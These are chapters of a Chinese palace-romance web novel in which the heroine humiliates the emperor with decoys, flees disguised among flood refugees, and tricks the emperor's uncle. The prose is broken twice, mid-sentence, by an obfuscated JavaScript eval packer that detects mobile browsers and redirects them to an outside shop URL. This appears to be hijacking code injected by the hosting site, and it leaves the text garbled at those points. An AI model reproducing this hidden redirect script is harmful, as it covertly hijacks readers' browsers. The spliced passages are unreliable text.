烛火跳动,碧色琉璃在光下流转着诡谲的光。那两个小篆刻得极深,笔锋凌厉,绝不是寻常匠人能为之。更重要的是,刀鞘内侧有个极隐蔽的机括,轻轻一按,刀身会自己滑出半寸。 这是一把精心设计的赝品。 萧昌为什么要给她一把假刀?真的刀在哪里?那夜他说“刀掉在轿中”,究竟是真是假? 无数疑问在脑中盘旋,像一团理不清的乱麻。闻歌闭上眼,深吸一口气——不能再等了。皇上在丞相府只剩最后两日,她必须趁这个机会…… “小姐!”小桃慌慌张张推门进来,“皇上、皇上往这边来了!” 闻歌眼神一凛,迅速将刀塞回枕下。她走到妆台前,对着铜镜理了理鬓发,忽然计上心头。 “小桃,小红,”她转身,压低声音,“帮我做件事。” 萧昌踏入闻歌闺房时,已是戌时三刻。 黄公公和两个侍女守在门外,他独自推门而入。屋内烛火通明,却空无一人。桌上茶还温着,棋枰上摆着未完的残局,空气中飘着淡淡的桂花香——是她惯用的头油味道。 “安国郡主?”他唤了一声。 无人应答。 萧昌挑眉,往里间走去。绕过绣着春山图的屏风,内室的光线暗了许多。床榻上,锦被隆起一个人形,还在微微蠕动。 他脚步一顿,唇角不自觉扬起。 这丫头……莫非是在跟他玩什么把戏?白日里还冷若冰霜,夜里却躲在被中等他?倒是会欲擒故纵。 “安国郡主,”他走到床边,声音里带着笑意,“可是允许朕……来侍寝了?” 说着,伸手挑开被角—— 锦被下露出一张惊恐的脸。是个年轻女子,只穿着杏红肚兜,双手被丝带缚在床头,嘴里塞着团绸帕。此刻正睁圆了眼睛看他,浑身抖得像风中落叶。 不是闻歌。 萧昌脸色骤变,正要后退,那女子忽然“呜呜”出声,眼神拼命往地上瞟—— 地上,一条青花小蛇正昂着头,吐着猩红的信子! “啊——!” 女子嘴里的绸帕被挣松了,发出凄厉的尖叫。萧昌本能地往后一跳,却忘了身后就是床榻,整个人失去平衡,直直压在了那女子身上! 几乎同时,房门被猛地推开。 闻歌带着小桃小红冲了进来,身后还跟着目瞪口呆的黄公公和侍女。烛火将室内照得通明,所有人都看清了——皇上压在个半裸女子身上,而那女子不是别人,正是闻清。 死寂。 只有闻清低低的啜泣声,还有地上那条被黄公公一脚踩死的蛇,尾巴还在微微抽搐。 闻歌的目光从床上移到萧昌脸上,又移回去,忽然笑了:“皇上这是……?” 萧昌迅速起身,整了整微乱的衣袍,面上镇定,耳根却泛着可疑的红:“朕来看你。” “看我?”闻歌走近几步,歪头打量床上瑟瑟发抖的闻清,“看到我床上来了?” “朕以为……”萧昌顿了顿,“以为你在与朕玩笑。” “我从不与皇上开这种玩笑。”闻歌语气平静,眼神却冷,“倒是皇上,是不是该解释一下?” 小桃小红死死低着头,肩膀微微抖动——憋笑憋的。 闻清这时终于回过神,抱着被子大哭起来。黄公公一个箭步上前,压低声音:“姑娘,见到龙颜是天大的福分!再哭,仔细你的性命!” 闻清吓得噤声,只敢默默流泪。 “你知道她是谁吗?”闻歌问。 “不管是谁。”萧昌恢复了帝王的威仪,“今日之事,谁敢传出去半个字,朕诛他九族。” “她是臣女的堂姐,闻清。”闻歌一字一句,“皇上现在知道了?” “那又如何?”萧昌拂袖,“朕难道碰不得?” 话一出口他就后悔了。这不是坐实了“有意为之”吗?可他不能解释——难道要说自己被一条蛇吓得跳上床?天子的颜面往哪儿搁? 他深深看了闻歌一眼,那眼神里有恼怒,有无奈,还有一丝说不清道不明的东西。最终,他转身离去,玄色衣摆划过门槛,消失在夜色里。 黄公公匆匆跟上,临走前意味深长地看了闻歌一眼。 室内重归寂静。 闻清还裹着被子发抖,闻歌走到床边,抽出匕首割断缚着她手腕的丝带。刀刃划过绸缎的“嘶啦”声,在静夜里格外清晰。 “堂姐,”闻歌轻声说,“今日之事,我会查清楚。” 闻清抬头看她,眼里满是泪水,还有深深的怨恨:“不是你设计的吗?除了你,还有谁……” “我若想害你,方法多的是,何必用这种损人不利己的蠢招?”闻歌收起刀,转身往外走,“你好自为之。” 她走到门边时,听见闻清在身后喃喃:“可皇上碰了我……皇上碰了我……” 那声音里,竟有一丝隐秘的欢喜。 闻歌脚步一顿,没回头,轻轻带上了门。 三日后,宫中传来旨意:纳闻清为贵人,即日进宫。 消息传到丞相府时,闻清喜极而泣。她抱着那道明黄圣旨,像抱着全世界。闻歌却从中嗅到了不寻常的味道——皇后亲自劝说皇上纳妃,纳的还是与闻歌有过节的堂姐? 这不是恩宠,是棋子。 可她没时间细想了。今夜是皇上在丞相府的最后一日,也是她计划中的关键一夜。 黄昏时分,她让小红悄悄出府,从城南的伶人馆带回一个姑娘。那姑娘叫莺儿,十七岁,生得与闻歌有六七分相似,声音经过训练后更是能以假乱真。最重要的是,她够胆大,也够缺钱。 “事成之后,五百两黄金,足够你赎身,远走高飞。”闻歌将一袋金叶子放在桌上。 莺儿眼睛亮了:“郡主放心,莺儿最擅长的,就是‘演’。” 子时三刻,观星楼。 萧昌踏进阁楼时,心跳得有些快。闻歌约他三更私会——这是她第一次主动。虽然地点选在府中最偏僻的观星楼,虽然要求他撤去所有侍卫只身前来,虽然……有太多疑点。 可他还是来了。 带着某种幼稚的期待,像一个收到心仪礼物却不敢立刻拆开的孩子。 楼内没有点灯,只有月光透过雕花窗棂,在地上投下斑驳的光影。一个身影从暗处扑来,带着浓郁的脂粉香,直直撞进他怀里。 “皇上……您可算来了……”声音发颤,是压抑不住的激动。 萧昌身体一僵。 不对。触感不对,味道不对,连拥抱的力道都不对。闻歌从来不用这么浓的香,也不会用这么娇媚的语调说话。 “你今日……与往日不同。”他试探着说。 “为了今夜,臣妾准备了许久呢……”那双手开始不安分地解他的腰带。 萧昌按住她的手:“等等。” “良辰美景,等什么呀?”莺儿学着闻歌的语气,却学不来那份清冷,只剩矫揉造作。她用力一扯—— “刺啦!” 龙袍的衣襟被撕开一道口子。 萧昌脸色变了:“安国郡主,你这是要……” “皇上别说话……”莺儿将他往榻上推。 外衫被扯落,里衣的扣子绷飞了好几颗。萧昌终于确定——这不是闻歌!闻歌就算真要“献身”,也绝不会是这般急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992184|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可耐的模样! “你到底是谁?!”他猛地坐起。 “臣妾是您的安国郡主呀……”莺儿又扑上来。 萧昌一把推开她,翻身下榻就往门口跑!莺儿哪肯放过到手的“富贵”,光着脚就追:“皇上别跑——臣妾要做您的女人——” 一个跑,一个追,在昏暗的阁楼里绕了三圈。萧昌最后被逼到角落,一咬牙,推开窗翻身跃出—— 窗外是狭窄的挑台,仅容一人站立。春夜的寒风呼呼刮过,他只穿着破烂的里衣,冻得浑身发抖。更要命的是,莺儿趴在窗口,还在娇声唤着:“皇上——您去哪儿呀——” 他不敢应声,只能蜷在阴影里,听着屋内那女子来回走动的脚步声,心里把闻歌骂了八百遍。 好,好得很。设局戏弄天子,她真是古往今来第一人! 翌日清晨,黄公公在观星楼外请安,久久不见回应。他推开虚掩的门,被眼前的景象惊呆了—— 满地碎布,全是明黄色龙纹料子。床榻上躺着一个陌生女子,正喃喃梦呓:“皇上别跑……皇上……” “你是何人?!”黄公公厉喝。 那女子惊醒,见不是皇上,也不慌,拢了拢散乱的头发:“妾身是皇上的人呀。” 黄公公头皮发麻,冲出门大喊:“快来人!皇上不见了——!” “吱呀”一声,窗户被推开。 萧昌从窗外爬进来,脸色青白,嘴唇发紫,一身单衣破破烂烂,沾满了夜露和灰尘。他扶着窗框,连打三个喷嚏,才咬牙切齿道:“朕在这儿!” “陛下!您这是……”黄公公急忙解下外袍给他披上。 “朕在窗外看了一夜的星星!”萧昌每个字都像从牙缝里挤出来的,“你们倒是睡得安稳!” 黄公公终于明白过来,死死咬着嘴唇才没笑出声。这时那莺儿又凑过来:“皇上,昨夜您答应封臣妾为妃的……” “滚!”萧昌一脚踹翻凳子。 莺儿撇撇嘴,扭着腰走了。刚到门外,就被侍卫按住。黄公公跟出来,压低声音问:“谁指使你的?” 莺儿倒也光棍:“安国郡主给了五百两黄金,让我演这出戏。她说皇上就喜欢这种调调……” 黄公公扶额。 这时,一个侍卫匆匆跑来:“公公,查清楚了!安国郡主昨夜三更从后门出府,骑马往西去了!” 萧昌正好走出来,闻言脸色铁青:“好个闻歌……竟敢用替身戏弄朕,金蝉脱壳!”他转向黄公公,“立刻派人去追!朕倒要看看,她能跑到哪儿去!” “陛下,”黄公公小心翼翼,“郡主会不会是……去找那把刀的真身了?” 萧昌眼神一凛。 是啊,那把刻着“待君”的假刀。她发现了。所以她才急着走,急着逃离他的掌控,去追寻真相。 “派人暗中跟着,别打草惊蛇。”他声音低沉下来,“朕要看看,她到底能查出什么。” 顿了顿,又补充:“还有,今日之事若传出去半个字……” “老奴明白。”黄公公躬身,“观星楼昨夜走水,已烧成白地。什么都没有发生。” 萧昌点点头,望向西边的天空。晨光熹微,朝霞如血。 闻歌,你逃吧。 逃得越远越好。 这样,朕才有理由……亲自去把你抓回来。 他唇角微扬,那笑容里有怒意,有无奈,还有一种猎人看到狡猾猎物时的兴奋。 游戏,才刚开始。 而此刻,百里之外的官道上,闻歌勒马回望京城方向。晨风吹起她的长发,露出那双清亮的眼。 她摸了摸怀中那把假刀,又摸了摸另一个暗袋——那里,藏着她昨夜从皇上书房“借”来的、真正重要的东西。 一份密报。关于江南沈家,关于那把刀真正的来历,还有……关于“待君”二字背后,那个惊天的秘密。 她收回目光,一夹马腹。 骏马长嘶,向着朝阳升起的方向,绝尘而去。 16. 第 16 章 凤仪宫的沉水香永远燃得恰到好处,烟雾在鎏金博山炉上盘旋出诡谲的纹路。 皇后斜倚在凤榻上,指尖捻着一串赤红的珊瑚念珠。楚妃、燕妃、韩妃分坐两侧,宫人已被屏退,殿门紧闭,连光影都被厚重的锦缎帘幕滤得昏暗。 “张天师昨日传回密报,”皇后声音很轻,每个字却像淬了毒的针,“那闻歌身边……跟着五个小鬼。” 韩妃手里的团扇“啪嗒”掉在地上。 “五、五个鬼?!”楚妃脸色发白,“娘娘,此话当真?” “张天师修道四十载,天眼已开,岂会看错?”皇后拨动念珠,唇角勾起冰冷的弧度,“那妖孽死而复生时,便是借了这五个孤魂野鬼的阴气。如今它们如影随形,吸食龙气,滋养妖身——长此以往,皇上龙体必受损伤。” 燕妃颤声道:“那、那为何不禀报皇上?皇上若知……” “皇上若知?”皇后打断她,眼神如刀,“皇上如今被那妖女迷了心窍,前日竟为了她杖责三位谏言的老臣!此刻去说,皇上是信本宫,还是信那个会撒娇卖痴的‘小仙女’?” 殿内死寂。 窗外春光明媚,殿内却寒意森森。 “本宫已命张天师暗中跟随,”皇后压低声音,“那妖女昨夜逃出京城,往南去了。南边正闹水患,流民数十万,正是……‘除妖’的好地方。” 三个妃子对视一眼,都在对方眼中看到了惊惧与狠色。 “娘娘英明。”韩妃最先反应过来,俯身行礼,“妖孽祸乱宫闱,天理不容。若能趁此机会……” “此事需做得干净。”皇后起身,走到窗前。窗外一树海棠开得正艳,红得像血,“南方水患,死个把流民再正常不过。就算皇上日后追查,也只能查到‘难民暴动,不幸罹难’。” 她转身,目光扫过三人:“今日之言,出我口,入你耳。若有半分泄露——” “臣妾不敢!”三人齐齐跪倒。 皇后满意地点头,抬手示意她们起身。阳光透过窗棂,在她脸上投下明暗交错的光影,那笑容温柔依旧,眼底却是一片冰封的杀意。 同一时刻,千里之外的官道上。 闻歌勒马驻足,抬手抹了把脸上的尘土。她已经连续奔驰了两天一夜,□□这匹从驿站重金购得的枣红马,此刻口吐白沫,浑身汗湿。 前方就是徐州城。 城墙高耸,却掩不住城内传出的哀鸿遍野。官道两侧挤满了衣衫褴褛的灾民,或坐或躺,眼神空洞地望着天空。空气里弥漫着腐烂的臭味和绝望的气息。 闻歌心头一沉。 她翻身下马,牵着马缰缓步前行。绯红骑装早已换下,此刻她一身月白男式劲装,头发用布带束起,脸上抹了灰,看上去像个清秀的富家公子——但这身打扮在此刻的灾民群中,依然扎眼得像雪地里的乌鸦。 果然,刚进城不到百步,一群孩子就围了上来。 “公子,行行好……” “给点吃的吧……” 四五个孩子,最大的不过十岁,最小的才五六岁模样。个个面黄肌瘦,端着破碗的手抖得厉害。有个小女孩衣不蔽体,光着的脚上满是冻疮。 闻歌鼻尖一酸。 她解下马背上的包袱,取出里面全部的干粮——七八个硬邦邦的烙饼,还有两包用油纸包着的肉脯。这是她路上省下来的口粮。 “给,分着吃。”她蹲下身,把东西塞到孩子们手里。 孩子们愣住了,随即爆发出欢呼,抓起饼就狼吞虎咽。但这欢呼引来了更多人——十几个灾民围拢过来,眼神绿得像饿狼。 闻歌站起身,看着那一张张绝望的脸,忽然做了个决定。 她把缰绳递给旁边一个还算壮实的汉子:“这马,送你了。牵去卖了,换些粮食分给大家。” 汉子不敢置信:“公、公子,这马值几十两银子……” “少废话。”闻歌把包袱里最后几块碎银也掏出来,撒在地上,“谁捡到算谁的。” 人群轰然骚动。 趁乱,闻歌钻进旁边一条小巷。她找了个无人的角落,从包袱最底层翻出那件破得不能再破的乞丐装——这是离京前就准备好的。又摸出些锅灰,在脸上、脖子、手臂上细细涂抹。 最后,她看向包袱里那件赤红的火云貂裘。 这是御赐之物,太扎眼。她犹豫片刻,还是将它取出,用油布层层包裹,埋在了巷尾的乱石堆下,做了个只有自己能认出的标记。 做完这一切,她对着墙角积水照了照——水面倒映出一张脏兮兮、看不清五官的脸,头发乱得像鸡窝,一身破布烂衫打着补丁,腰间别着把锈迹斑斑的“破匕首”。 完美。 她从巷子另一头钻出来时,已彻底融入难民流。弯腰,驼背,步履蹒跚,手里多了根不知从哪儿捡来的打狗棍。 “从现在起,”她在心里对自己说,“我不是闻歌,不是安国郡主。我是张小哥,一个家破人亡、南下逃难的孤儿。” 城郊破庙成了闻歌的临时栖身地。 庙宇荒废已久,佛像金漆剥落,蛛网横结。但屋顶尚存,能遮风挡雨,此刻已挤了三十多个灾民。男女老少都有,各自占着一小块地方,用破席烂布隔出聊胜于无的私密空间。 闻歌缩在角落里,小口啃着刚才用最后一点铜板换来的红薯。红薯又干又硬,但她吃得很仔细——这是她未来几天全部的口粮。 “你们听说了没?”旁边一个中年妇人压低声音,却足以让半个庙的人都听见,“京城出妖怪了!” “妖怪?”几个妇人围拢过去。 “可不是嘛!听说是个女妖,专吸人精气,还会操控洪水!”那妇人说得绘声绘色,“南方这场大水,就是她弄出来的!” “造孽啊……”一个老妪抹泪,“我儿子、媳妇、孙子……一家五口,全被水冲走了……” “我爹娘也没了。”说话的是个和闻歌年纪相仿的姑娘,叫小丫。她抱着膝盖,眼神空洞,“房子、田地,什么都没了。” 庙里的气氛陡然沉重。 一个壮汉猛地捶地:“砰”的一声,尘土飞扬:“要是让老子碰上那妖怪,非扒了她的皮,抽了她的筋!” “对!杀了她!” “为民除害!” 群情激愤。仇恨像瘟疫般蔓延,每个人眼中都燃着怒火——他们需要仇恨,需要一個可以宣泄所有痛苦的对象。 闻歌低着头,默默啃着红薯。可下一句话让她差点噎住: “听说那妖怪上了京城一个大官女儿的身,叫什么……闻歌!还被皇上封为什么郡主!” “闻歌”二字像惊雷炸响。 她手一抖,半块红薯滚落在地。 所有人的目光瞬间聚焦到她身上。 “小哥,”刚才那壮汉眯起眼,“你认识这妖怪?” 闻歌心脏狂跳,脸上却挤出茫然:“我、我怎么会认识……” “那你听到名字,反应怎么这么大?”一个妇人逼近,“你是从北边来的,该不会……” “说!你是不是认识她?!” “我看他鬼鬼祟祟的,不像好人!” 质问如潮水涌来。几十双眼睛死死盯着她,那些眼神里有怀疑,有警惕,还有压抑已久的暴戾。闻歌毫不怀疑,只要她说错一个字,下一刻就会被这些人撕碎。 电光石火间,她做出了决定。 “哇——!” 她放声大哭。 不是假哭,是真哭— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992185|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —被自己的处境气哭的。眼泪说来就来,鼻涕眼泪糊了一脸,哭得撕心裂肺,上气不接下气。 所有人都愣住了。 “哥哥,你别哭……”刚才那个分到饼的小女孩怯生生递来半块土豆。 “我、我想我爹娘了……”闻歌抽噎着,开始编故事,“我家……我家原本在北方,家境殷实……爹娘疼我,丫鬟伺候……可有一天晚上,妖怪来了……青面獠牙,十指如钩……” 她边说边哭,细节丰富得连自己都快信了:“我爹娘为了护我逃跑,被妖怪……被妖怪撕碎了……丫鬟也被抓走了……我家几十口人,一夜之间全没了……我只能往南逃,翻山越岭,趟河过江……好不容易到了这儿,你们还把我当妖怪……” 哭声凄厉,情真意切。 庙里安静下来。那些怀疑的眼神渐渐软化,取而代之的是同情。 “孩子,别哭了……”李婆子——那个最先发话的妇人——走过来拍拍她的背,“是我们错怪你了。” “是啊,没想到你比我们还苦……” “以后你就跟着我们吧,有我们一口吃的,就有你一口。” 闻歌抹着眼泪,偷偷观察众人反应。很好,危机解除。 但就在这时,角落里传来不和谐的声音: “凭什么照顾他?他自己没手没脚?” 说话的是个年轻姑娘,叫春杏,和小丫年纪相仿。她撇着嘴:“我们都是苦命人,谁不可怜?他一个富家少爷,肩不能扛手不能提,难道要我们白养着?” 小丫也小声附和:“就是……我们干活,他歇着,不公平。” 这话引起了一些人的共鸣。毕竟生存面前,同情是奢侈品。 闻歌心里一紧,正要开口,李婆子却抢先道:“你们懂什么!这孩子家破人亡,千里逃难,能活下来已经是老天开眼!咱们搭把手怎么了?” “就是!”壮汉大李也站了出来,“我看小哥挺机灵,学东西快。明天跟我去河边看看能不能捞点鱼,我教你!” 众人纷纷表态支持。春杏和小丫虽然不服,但也不敢再说什么。 “谢、谢谢大家……”闻歌红着眼圈,挨个记住这些人的名字——李婆子、大李、小丫、张婆子…… 还有春杏。 她多看了春杏一眼。这姑娘眼神里有种不甘心的倔强,不像其他人那样容易糊弄。 夜深了。 灾民们陆续睡去。闻歌躺在冰冷的草席上,睁眼看着破庙顶漏进来的星光。 腰间那把“破匕首”硌得她生疼。她摸出刀,借着月光看那“待君”二字。刀身在黑暗中泛着极淡的碧色幽光,像某种活物的呼吸。 南方……沈家……待君…… 还有这满世界的流言,说自己是什么“祸国妖女”。 闻歌闭上眼睛。 前路茫茫,危机四伏。但她忽然觉得,这样隐姓埋名、与真正百姓同吃同住的日子,反倒比在丞相府当郡主、在皇宫应对阴谋算计,更让她踏实。 至少这里的人,恨是真的,爱也是真的。 不像那座金碧辉煌的宫殿,处处都是戴着面具的戏子。 远处传来打更声。 更远了,京城的方向,萧昌此刻在做什么?发现自己逃跑,他一定气疯了吧? 闻歌勾起唇角,把匕首塞回怀中,翻身睡去。 而破庙外百丈远的树丛里,一双眼睛正透过枝叶缝隙,死死盯着庙门。 那人一身道袍,手持罗盘。罗盘指针不指南北,却直直指向破庙方向,微微颤动。 张天师舔了舔干裂的嘴唇,眼中闪过贪婪的光。 “五个小鬼……好浓的阴气……若能收了炼化……” 他无声地笑了。 17. 第 17 章 破庙里的日子,过得比闻歌想象中更自在。 自从那日她郑重其事地向众人道谢后,这小小的乞丐窝竟真的接纳了她。这里的人各有分工——身手利落的去河里摸鱼,胆大的进山打野味,脚程快的砍柴拾薪,机灵些的便上街乞讨。老弱妇孺留在庙里,生火煮饭,缝补浆洗。 至于闻歌?随她高兴。 想睡到日上三竿便睡,想对着山崖吼几嗓子便吼。无拘无束,悠哉游哉。进城逛市集,或是躺在破草席上“晒咸鱼”,全凭心情。 这日子,惬意得让她几乎要忘记自己还是个被全城通缉的“朝廷重犯”。 “小哥,咱们去街上转转吧?” 这日清晨,一个约莫七八岁、扎着歪歪扭扭小髻的女娃娃扯了扯闻歌的衣袖。女孩叫小草,是庙里最小的乞儿,一双眼睛黑溜溜的,总跟着闻歌转。 “你这么小,留在庙里安全些。”闻歌拍拍她脑袋。 “可呆着也无聊呀。”小草晃着她手臂,“就当陪我去嘛,说不定能讨到几个铜板,给李婆婆买块姜驱寒呢。” 闻歌心下一软。也是,总窝在庙里也不是办法。她如今这副模样——蓬头垢面,衣衫褴褛,怕是亲娘站在眼前也未必认得。不如趁此机会,一边行乞,一边暗中留意是否有能拔出那柄“神刀”之人。 人海茫茫,如大海捞针。 可再难,也得捞啊。 “成,走吧。”闻歌欣然同意。 两人一前一后进了城。玉郎县的街市还算热闹,叫卖声不绝于耳。闻歌正盘算着去哪儿蹲点,前方忽然一阵骚动。 只见一队官兵横冲直撞而来,粗暴地推开路边百姓,踢翻沿街摊位。 “滚开!没长眼睛吗?”为首的兵卒对一位动作稍慢的老汉拳打脚踢。老汉哀嚎着滚倒在地,竹篮里的菜蔬撒了一地。 光天化日,竟如此欺民! 闻歌气血上涌,抬脚就要上前。 “小哥,别去!”小草死死拽住她衣袖,小脸发白,“这种事常有……你去了也会挨打的。” “那也不能眼睁睁看着——”闻歌话音未落,一道威严的喝止声响起: “住手!都给本王住手!” 一顶青呢轿子停下,帘子掀起,走出一人。 闻歌瞳孔骤缩,险些惊呼出声—— 皇叔?! 他怎么会来玉郎县?莫非……是奉了皇帝之命来抓自己的?想起那日她在宫中狠狠摆了皇帝一道,龙颜震怒之下,岂会轻饶她? 闻歌下意识缩了缩脖子,往人群里躲了躲。 只见皇叔沉着脸走向那些官兵,怒斥道:“光天化日,欺凌百姓,成何体统!”说着竟亲自弯腰,扶起倒在地上的老汉。 “是下官管教无方,请王爷恕罪!”一名官员连滚带爬下马,扑跪在皇叔面前。 “还不向老人家赔罪!”皇叔厉声道。 那官员回头喝令:“来人,将这两个混账各打五十军棍!” 另四名官兵上前,按倒方才行凶的两人,当街执刑。板子落在肉上的闷响,听得围观众人一阵瑟缩。 更让闻歌意外的是,皇叔竟从怀中取出银两,塞到老汉手中,又解下自己的披风,披在老汉单薄的肩上。 “老人家,让您受惊了。是本王的不是。” 堂堂王爷,竟如此低声下气,亲民至此? 闻歌愣在原地,心中疑窦丛生。她记忆中的皇叔,虽不似皇帝那般阴狠,却也绝非这般菩萨模样。是做戏,还是…… “那是新上任的魏县令。”小草踮脚在她耳边小声说,“听说胆子小得很。” 此时,另一名官员上前打圆场:“王爷息怒,魏县令也是一片好心,怕这些粗人惊扰了王爷车驾。” “皇上派本王体察民情,何来‘惊扰’之说?”皇叔拱手向天一拜,言辞恳切,“皇恩浩荡,圣上爱民如子,尔等岂能如此行事?若再有下次,严惩不贷!” 说罢一甩袖,转身上轿。 闻歌盯着那打圆场的官员侧脸,越看越眼熟——这不是李县令吗?哦,如今该叫李知府了。皇上前不久才提拔了他。 “这里……是黎水城玉郎县?”闻歌低声问小草。 “是呀。”小草点头,“小哥你不知道吗?” 闻歌心下恍然。原来那日慌不择路,竟逃到了这里。玉郎县……她曾在此追捕过恶名昭彰的“毒狼”,也正是那场追捕,让她失去了双亲,连尸首都未曾寻回。 旧地重游,物是人非。如今她不再是那个一心报效朝廷的闻歌,只想放下一切,寻仙问道,渡众生苦厄。 “你认识他们?”小草好奇道。 “不认识。”闻歌摇头,压下心头翻涌的情绪。 绝不能相认。若被皇叔或李知府识破身份,不仅自己性命难保,更会连累破庙里这些收留她的人——窝藏钦犯,可是杀头的大罪。 她转身欲走,却忽然顿住。 等等……她现在这副尊容,鬼都认不出吧?闻歌摸了摸自己糊着泥灰的脸,又扯了扯破成条状的外衫,心下稍安。 此时,官兵队伍已继续前行。闻歌犹豫片刻,终究按捺不住好奇——皇叔突然出现在这偏远小县,所谓“体察民情”,究竟所为何事? 她拉着小草,悄悄尾随在队伍后面。 轿子一路行至县衙。皇叔下轿后,与李知府低语几句。李知府转身示意魏县令,魏县令连忙朝围观的百姓高声道: “诸位父老乡亲!今日王爷亲临我县,是为视察洪灾灾情,发放赈灾粮米。请大家排好队,依序领取,切勿拥挤!” 话音刚落,几个机灵的乞丐已窜到最前头。接着,更多衣衫褴褛的百姓从四面八方涌来,队伍转眼排成了长龙。 “小哥,咱们快排队!晚了可就领不到了!”小草急得直跺脚。 闻歌仍在迟疑。尽管自信伪装完美,可离皇叔如此之近,终究冒险。 “小哥!”小草用力拉她。 “……好,去排队。”闻歌咬牙道。 破庙里还有十几张嘴等着吃饭。总不能天天啃土豆红薯。皇叔既然在发白米馒头,何不借此机会,给大家改善伙食? 队伍缓慢前移。闻歌低着头,用余光观察县衙前的动静。 皇叔并未进衙门,而是亲自站在粥棚前,时而为老弱盛粥,时而俯身与乞儿交谈。那副和蔼可亲的模样,引得排队百姓纷纷跪拜,口称“活菩萨”。 一个时辰后,终于轮到闻歌。 她深吸一口气,脑中飞快盘算——既然要演,不如演场大的。 就在走到皇叔面前三尺时,闻歌脚下一软,“嘭咚”一声直挺挺倒在地上,双手恰巧抱住了皇叔的脚踝。 “大胆!”两侧官兵立即上前擒拿。 “住手!”皇叔喝止,蹲下身来,“你们没看见这位小公子是饿晕了吗?” “王爷,这乞丐……”官兵还想辩解。 “混账!本王的话也敢不听?”皇叔怒目而视,转而温声对闻歌道,“小公子?小公子?” “小哥!你怎么了?别吓我啊——”小草扑到闻歌身边,哇的一声哭出来,倒是情真意切。 闻歌心中暗赞这小丫头机灵,面上却只紧闭双眼,气若游丝。 “快!端碗热粥来!”皇叔急令。 热粥很快送到。小草抽噎着,小心翼翼喂了闻歌几口。 闻歌这才“悠悠转醒”,睁眼便颤声道:“谢……谢谢王爷……王爷真是救苦救难的活菩萨……”说着,眼角竟真的挤出一滴泪——倒不是演的,而是想起自己如今沦落至此,悲从中来。 皇叔闻言,脸上笑意更深,连忙扶她:“小公子慢些。可是家中遭了难?” 闻歌借力坐起,虚弱道:“不敢瞒王爷……家父在洪水中丧生,祖父祖母年事已高,母亲又瘫痪在床。全家只剩草民一个劳力,我已三日未进食,方才……方才实在撑不住了……” 她越说越“伤心”,声音哽咽:“幸而今日遇到王爷这般仁德之主……王爷面善心慈,定是菩萨转世,来渡我们这些苦命人的……” 这番话说完,闻歌自己都差点起鸡皮疙瘩。可抬眼一看,皇叔竟红了眼眶,连声道:“可怜,可怜啊!来人,取一袋白米,再拿五两银子来!” 东西很快送到闻歌手中。沉甸甸的米袋和银两,让她心头一颤——这皇叔,出手倒是阔绰。 “来人,送这位小公子回家。”皇叔又道。 “不可!万万不可!”闻歌连忙推辞,挣扎起身,“王爷公务繁忙,还要赈济更多百姓,草民岂敢再添麻烦?今日得王爷恩赐,已是再生之德……” 她抹了抹眼角,继续“真情流露”:“王 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皇叔沉吟片刻,摇了摇头:“许是本王眼花了。”却又问,“你家居何处?家中既有老弱,日后若再有难处,可来县衙寻魏县令,本王会嘱咐他多加照拂。” 闻歌暗松半口气,信口胡诌:“草民家住城西第三座山脚下,茅屋三间,虽破败却能遮风挡雨。谢王爷垂询。” 她不敢再多言,躬身一礼,拉着小草快步离开。 直到转过两条街,确认无人尾随,闻歌才靠墙停下,长长舒了一口气。 “小哥,你刚才演得真好!”小草眼睛亮晶晶的,“我都差点信了!” 闻歌苦笑,揉了揉小丫头的脑袋:“没办法,都是为了活下去。”她掂了掂手中的米袋和银两,“走,回去给大家加餐。” 回破庙的路上,闻歌却始终心神不宁。 皇叔今日之举,太过完美,完美得近乎虚假。那眼泪,那悲悯,那亲手扶起污秽乞丐的姿态……若全是做戏,这人的城府该有多深? 而她,竟在这样一个人面前“表演”了一场饿晕的戏码。想想都觉讽刺。 “小哥,你说王爷真是好人吗?”小草忽然问。 闻歌沉默良久,轻声道:“这世上,有些人看着像菩萨,心里却住着罗刹;有些人面目可憎,骨子里却存着善念。是好是坏,不能只看表面。” “那……怎么看?” “看时间,看事情,看利益关头,他选择站在哪一边。”闻歌望向远方连绵青山,声音渐低,“不过很多时候,不到最后一刻,谁也看不穿。” 就像她曾经信任的朝廷,效忠的君主,最终不过是一场笑话。 如今她扮作乞丐,皇叔扮作仁王。彼此都在戏中,只是不知这戏,何时会穿帮。 回到破庙,众人见闻歌带回白米和银两,皆欢喜不已。当晚,破庙里难得飘起米饭香,众人围坐分食,笑语不断。 闻歌坐在门槛上,捧着饭碗,望着星空出神。 今日虽侥幸过关,但皇叔既然在此,此地便不宜久留。她需得尽快找到那柄“神刀”的下落,或是寻到真正的修仙之门。 然而茫茫人海,仙踪难觅。她这一路,究竟是走向超脱,还是陷入更深的迷局? 夜风拂过,带来山野草木的气息。闻歌闭上眼,忽然想起师父曾说过的话: “修行之路,不在高山,不在深庙,而在你走过的每一步,见过的每一人,经历的每一事。真真假假,皆是磨心之石。” 那时不懂,如今身在局中,方知字字珠玑。 她睁开眼,将最后一口饭扒进嘴里。 无论前路如何,饭总要吃,路总要走。戏已开锣,便得唱下去。 只是下次若再遇皇叔,这“饿晕”的戏码,怕是不能再用第二次了。 得想想新招才行。 闻歌摸着下巴,忽然笑了一下。 这荒诞人间,既然人人都戴着面具,那她不妨也戴好自己这一副。看谁演得更真,看谁先露出马脚。 夜色渐深,破庙里鼾声渐起。 